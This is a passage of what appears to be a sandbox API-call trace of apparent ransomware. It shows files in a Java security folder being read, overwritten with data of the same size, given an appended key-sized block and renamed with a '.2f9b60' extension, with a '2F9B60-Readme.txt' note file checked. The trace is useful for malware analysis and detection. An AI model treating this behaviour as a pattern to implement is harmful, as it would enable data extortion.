ReadFile (in: hFile=0x1584, lpBuffer=0x1d22f840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d22f888, lpOverlapped=0x0 | out: lpBuffer=0x1d22f840*, lpNumberOfBytesRead=0x1d22f888*=0x4, lpOverlapped=0x0) returned 1 [0211.559] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e0e0 [0211.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e0b0 [0211.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050da80 [0211.559] NtQuerySystemTime (in: CurrentTime=0x1d22f780 | out: CurrentTime=0x1d22f780*=132462178164262000) returned 0x0 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x62a03723 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x267402d3 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x7a012913 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x199ea85 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x71fdfa01 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x35fdaf0f [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x5905486e [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x58f52236 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x775a5772 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x7f6a895c [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x67d42bd2 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x7460695a [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x2a3eb2d3 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x1127b367 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x3a0c975a [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x2104d125 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x3074d1c0 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x1ff590f5 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x1ba5d9af [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x5a9c2d41 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x748a979b [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x28a82a00 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x5dcc312b [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x6fc17710 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x4fc1f019 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x6b1d5b67 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x2c3f8bc2 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x2f81eb75 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x19c09f00 [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x9d30ccd [0211.560] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x7d2ba822 [0211.561] RtlRandomEx (in: Seed=0x1d22f770 | out: Seed=0x1d22f770) returned 0x1ab5516c [0211.571] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.571] ReadFile (in: hFile=0x1584, lpBuffer=0x41f885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1d22f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41f885a0*, lpNumberOfBytesRead=0x1d22f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0212.117] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058d80 [0212.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb960 [0212.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a10 [0212.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a10) returned 1 [0212.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cf9560 [0212.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a10 [0212.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263110 [0212.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263110) returned 1 [0212.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb960) returned 1 [0212.122] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d80) returned 1 [0212.122] WriteFile (in: hFile=0x1584, lpBuffer=0x41cf9560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1d22f7e0, lpOverlapped=0x0 | out: lpBuffer=0x41cf9560*, lpNumberOfBytesWritten=0x1d22f7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0227.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cf9560) returned 1 [0227.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f885a0) returned 1 [0227.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced7fb0 [0227.882] SetFilePointerEx (in: hFile=0x1584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0227.883] WriteFile (in: hFile=0x1584, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x1d22f890, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x1d22f890*=0x10c, lpOverlapped=0x0) returned 1 [0233.239] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62820 [0233.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0233.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1f110 [0233.241] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1f110) returned 1 [0233.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1f110 [0233.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1f0e0 [0233.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1f080 [0233.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1f080) returned 1 [0233.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0233.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62820) returned 1 [0233.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1b7d7fc0 [0233.243] sprintf (in: _Dest=0x1b7d7fc0, _Format="%c%c" | out: _Dest="7a") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fc2, _Format="%c%c" | out: _Dest="c4") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fc4, _Format="%c%c" | out: _Dest="3b") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fc6, _Format="%c%c" | out: _Dest="ac") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fc8, _Format="%c%c" | out: _Dest="7d") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fca, _Format="%c%c" | out: _Dest="57") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fcc, _Format="%c%c" | out: _Dest="78") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fce, _Format="%c%c" | out: _Dest="6d") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fd0, _Format="%c%c" | out: _Dest="cb") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fd2, _Format="%c%c" | out: _Dest="72") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fd4, _Format="%c%c" | out: _Dest="99") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fd6, _Format="%c%c" | out: _Dest="6c") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fd8, _Format="%c%c" | out: _Dest="c1") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fda, _Format="%c%c" | out: _Dest="f0") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fdc, _Format="%c%c" | out: _Dest="1e") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fde, _Format="%c%c" | out: _Dest="47") returned 2 [0233.243] sprintf (in: _Dest=0x1b7d7fe0, _Format="%c%c" | out: _Dest="9f") returned 2 [0233.244] sprintf (in: _Dest=0x1b7d7fe2, _Format="%c%c" | out: _Dest="96") returned 2 [0233.244] sprintf (in: _Dest=0x1b7d7fe4, _Format="%c%c" | out: _Dest="26") returned 2 [0233.244] sprintf (in: _Dest=0x1b7d7fe6, _Format="%c%c" | out: _Dest="7b") returned 2 [0233.244] sprintf (in: _Dest=0x1b7d7fe8, _Format="%c%c" | out: _Dest="82") returned 2 [0233.244] sprintf (in: _Dest=0x1b7d7fea, _Format="%c%c" | out: _Dest="d7") returned 2 [0233.244] sprintf (in: _Dest=0x1b7d7fec, _Format="%c%c" | out: _Dest="47") returned 2 [0233.244] sprintf (in: _Dest=0x1b7d7fee, _Format="%c%c" | out: _Dest="1e") returned 2 [0233.244] sprintf (in: _Dest=0x1b7d7ff0, _Format="%c%c" | out: _Dest="16") returned 2 [0233.244] sprintf (in: _Dest=0x1b7d7ff2, _Format="%c%c" | out: _Dest="6c") returned 2 [0233.244] RtlInitAnsiString (in: DestinationString=0x1d22f908, SourceString="7ac43bac7d57786dcb72996cc1f01e479f96267b82d7471e166c" | out: DestinationString="7ac43bac7d57786dcb72996cc1f01e479f96267b82d7471e166c") [0233.244] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d22f8d8, SourceString="7ac43bac7d57786dcb72996cc1f01e479f96267b82d7471e166c", AllocateDestinationString=1 | out: DestinationString="7ac43bac7d57786dcb72996cc1f01e479f96267b82d7471e166c") returned 0x0 [0233.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b869dc0 [0233.245] wcscat (in: _Dest=0x431d91d0, _Source="7ac43bac7d577" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\7ac43bac7d577") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\7ac43bac7d577" [0233.245] wcscat (in: _Dest=0x431d91d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\7ac43bac7d577.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\7ac43bac7d577.2f9b60" [0233.245] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\7ac43bac7d577.2f9b60", NtPathName=0x1d22f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\7ac43bac7d577.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0233.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x202ace70 [0240.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ace70) returned 1 [0240.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432298e0) returned 1 [0240.779] NtQueryInformationFile (in: FileHandle=0x1584, IoStatusBlock=0x1d22f918, FileInformation=0x1d22f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1d22f918, FileInformation=0x1d22f928) returned 0x0 [0240.779] NtSetInformationFile (FileHandle=0x1584, IoStatusBlock=0x1d22f918, FileInformation=0x1d22f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.176] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d91d0) returned 1 [0243.177] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0243.177] FlushFileBuffers (hFile=0x1584) returned 1 [0243.180] CloseHandle (hObject=0x1584) returned 1 [0243.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202af070 [0243.427] wcscpy (in: _Dest=0x202af070, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\" [0243.427] wcscat (in: _Dest=0x202af070, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt" [0243.427] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\2f9b60-readme.txt")) returned 0x20 [0243.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af070) returned 1 [0243.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59bb0) returned 1 Thread: id = 3540 os_tid = 0x2044 [0210.176] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javafx.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\javafx.policy")) returned 0x20 [0210.308] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javafx.policy", dwFileAttributes=0x20) returned 1 [0210.321] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javafx.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\javafx.policy"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1324 [0210.398] GetFileSizeEx (in: hFile=0x1324, lpFileSize=0x222bf8c0 | out: lpFileSize=0x222bf8c0*=158) returned 1 [0210.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a60 [0210.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202673e0 [0210.399] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264410 [0210.400] NtQuerySystemTime (in: CurrentTime=0x222bf780 | out: CurrentTime=0x222bf780*=132462178152718000) returned 0x0 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x1d7fa308 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x6cd6cec9 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x4b1eb3be [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x6b23024c [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x50591136 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x736b8d91 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x6ce4ae7b [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x19ff09b [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x1f09f09c [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x2844425c [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x48b9e89e [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x3cd146bb [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x58e57592 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x6d9a14dc [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x6d732355 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x74d6eb29 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0xf95cf6 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x7c45a48b [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x415c5bd0 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x14a04160 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x38fadcef [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x412fd31e [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x69ccd922 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0xe0fea9b [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x37d75c5d [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x76d35bee [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x2e180dc [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0xd897c57 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x1e2622f5 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x54a14229 [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x370b38de [0210.400] RtlRandomEx (in: Seed=0x222bf770 | out: Seed=0x222bf770) returned 0x5ec023a8 [0210.408] ReadFile (in: hFile=0x1324, lpBuffer=0x41cdb4e0, nNumberOfBytesToRead=0x9e, lpNumberOfBytesRead=0x222bf770, lpOverlapped=0x0 | out: lpBuffer=0x41cdb4e0*, lpNumberOfBytesRead=0x222bf770*=0x9e, lpOverlapped=0x0) returned 1 [0210.409] SetFilePointerEx (in: hFile=0x1324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.409] WriteFile (in: hFile=0x1324, lpBuffer=0x41cfd170*, nNumberOfBytesToWrite=0x9e, lpNumberOfBytesWritten=0x222bf774, lpOverlapped=0x0 | out: lpBuffer=0x41cfd170*, lpNumberOfBytesWritten=0x222bf774*=0x9e, lpOverlapped=0x0) returned 1 [0217.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa10 [0217.654] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a9e0 [0217.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a9e0) returned 1 [0217.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cfd170) returned 1 [0217.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cdb4e0) returned 1 [0217.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce23ea0) returned 1 [0217.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0217.656] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205a9e0 [0217.656] SetFilePointerEx (in: hFile=0x1324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0217.656] WriteFile (in: hFile=0x1324, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x222bf890, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x222bf890*=0x10c, lpOverlapped=0x0) returned 1 [0220.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3a0 [0220.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0220.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1f710 [0220.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1f710) returned 1 [0220.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42c1f710 [0220.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1f6e0 [0220.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1f620 [0220.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1f620) returned 1 [0220.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0220.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0220.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f470 [0220.142] sprintf (in: _Dest=0x1cd9f470, _Format="%c%c" | out: _Dest="69") returned 2 [0220.142] sprintf (in: _Dest=0x1cd9f472, _Format="%c%c" | out: _Dest="f3") returned 2 [0220.142] sprintf (in: _Dest=0x1cd9f474, _Format="%c%c" | out: _Dest="34") returned 2 [0220.142] sprintf (in: _Dest=0x1cd9f476, _Format="%c%c" | out: _Dest="d9") returned 2 [0220.142] sprintf (in: _Dest=0x1cd9f478, _Format="%c%c" | out: _Dest="af") returned 2 [0220.142] sprintf (in: _Dest=0x1cd9f47a, _Format="%c%c" | out: _Dest="0a") returned 2 [0220.142] sprintf (in: _Dest=0x1cd9f47c, _Format="%c%c" | out: _Dest="5a") returned 2 [0220.142] sprintf (in: _Dest=0x1cd9f47e, _Format="%c%c" | out: _Dest="18") returned 2 [0220.142] sprintf (in: _Dest=0x1cd9f480, _Format="%c%c" | out: _Dest="aa") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f482, _Format="%c%c" | out: _Dest="b8") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f484, _Format="%c%c" | out: _Dest="0c") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f486, _Format="%c%c" | out: _Dest="41") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f488, _Format="%c%c" | out: _Dest="1b") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f48a, _Format="%c%c" | out: _Dest="8a") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f48c, _Format="%c%c" | out: _Dest="d4") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f48e, _Format="%c%c" | out: _Dest="18") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f490, _Format="%c%c" | out: _Dest="00") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f492, _Format="%c%c" | out: _Dest="d4") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f494, _Format="%c%c" | out: _Dest="b3") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f496, _Format="%c%c" | out: _Dest="95") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f498, _Format="%c%c" | out: _Dest="8f") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f49a, _Format="%c%c" | out: _Dest="96") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f49c, _Format="%c%c" | out: _Dest="f1") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f49e, _Format="%c%c" | out: _Dest="73") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f4a0, _Format="%c%c" | out: _Dest="95") returned 2 [0220.143] sprintf (in: _Dest=0x1cd9f4a2, _Format="%c%c" | out: _Dest="05") returned 2 [0220.143] RtlInitAnsiString (in: DestinationString=0x222bf908, SourceString="69f334d9af0a5a18aab80c411b8ad41800d4b3958f96f1739505" | out: DestinationString="69f334d9af0a5a18aab80c411b8ad41800d4b3958f96f1739505") [0220.143] RtlAnsiStringToUnicodeString (in: DestinationString=0x222bf8d8, SourceString="69f334d9af0a5a18aab80c411b8ad41800d4b3958f96f1739505", AllocateDestinationString=1 | out: DestinationString="69f334d9af0a5a18aab80c411b8ad41800d4b3958f96f1739505") returned 0x0 [0220.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8687c0 [0220.144] wcscat (in: _Dest=0x431a1b60, _Source="69f334d9af0a5" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\69f334d9af0a5") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\69f334d9af0a5" [0220.144] wcscat (in: _Dest=0x431a1b60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\69f334d9af0a5.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\69f334d9af0a5.2f9b60" [0220.144] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\69f334d9af0a5.2f9b60", NtPathName=0x222bf8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\69f334d9af0a5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0220.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x43131fe0 [0237.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43131fe0) returned 1 [0237.876] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43169d00) returned 1 [0237.876] NtQueryInformationFile (in: FileHandle=0x1324, IoStatusBlock=0x222bf918, FileInformation=0x222bf928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x222bf918, FileInformation=0x222bf928) returned 0x0 [0237.876] NtSetInformationFile (FileHandle=0x1324, IoStatusBlock=0x222bf918, FileInformation=0x222bf928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1b60) returned 1 [0240.753] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 [0240.753] FlushFileBuffers (hFile=0x1324) returned 1 [0240.788] CloseHandle (hObject=0x1324) Thread: id = 3541 os_tid = 0x2058 [0210.177] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javaws.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\javaws.policy")) returned 0x20 [0210.309] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javaws.policy", dwFileAttributes=0x20) returned 1 [0210.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javaws.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8b0 [0210.584] GetFileSizeEx (in: hFile=0x8b0, lpFileSize=0x2470fe20 | out: lpFileSize=0x2470fe20*=98) returned 1 [0210.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8e90 [0210.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9100 [0210.585] 